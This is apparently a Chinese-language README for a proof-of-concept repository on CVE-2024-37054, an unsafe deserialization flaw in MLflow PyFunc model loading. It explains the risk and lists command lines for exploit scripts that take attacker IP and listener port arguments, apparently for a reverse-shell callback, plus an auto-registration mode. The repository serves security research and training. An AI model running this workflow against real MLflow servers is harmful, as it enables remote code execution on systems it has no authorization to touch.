本仓库记录了针对 CVE-2024-37054 的研究,这是一个影响 MLflow PyFunc 模型处理的不安全反序列化问题。
在受影响的 MLflow 版本中,加载不受信任的 PyFunc 模型可能导致 Python 反序列化逻辑处理包含攻击者控制行为的序列化对象。如果加载了不受信任的工件,代码可能会以执行模型加载操作的用户或服务的权限运行。
公开公告中报告的受影响版本包括:
MLflow 0.9.0 至 2.14.1
主要风险不仅仅是“上传模型”。危险发生在应用程序、分析师、工作进程或 ML 平台加载不受信任的序列化模型工件时。
潜在影响包括:
build_model.py
创建一个受控的测试模型工件,用于私有、授权的实验环境。
exploit.py
私有概念验证自动化脚本,仅用于在授权培训环境中验证漏洞路径。本仓库不包含真实目标、凭据、会话令牌、VPN 配置文件或破坏性载荷。
仅在授权的实验环境中运行此概念验证。
创建受控模型工件:
python3 build_model.py --lhost <YOUR_IP> --lport 4444
如果您还没有经过身份验证的会话,请使用自动注册模式:
python3 exploit.py --lhost <YOUR_IP> --lport 4444 --atoz
此模式会创建一个临时实验账户,对应用程序进行身份验证,然后继续执行模型注册和验证工作流。
如果您已有有效的授权会话,请直接传入:
python3 exploit.py \
--lhost <YOUR_IP> \
--lport 4444 \
--session "<SESSION_TOKEN>"
替换:
<YOUR_IP> 为从授权实验目标可访问的 IP 地址。4444 为您实验中使用的监听端口。<SESSION_TOKEN> 为您当前有效的授权会话值。切勿发布真实的会话令牌、凭据、VPN 文件、目标地址或回调详情。
使用 MLflow 的组织应将模型工件视为不受信任的输入,除非其来源和完整性已经过验证。
建议的安全防护措施:
本项目仅用于防御性研究、教育和授权安全测试。概念验证工作流仅在受控培训环境中进行了评估。未经明确书面授权,请勿针对系统、账户、服务或网络测试此漏洞。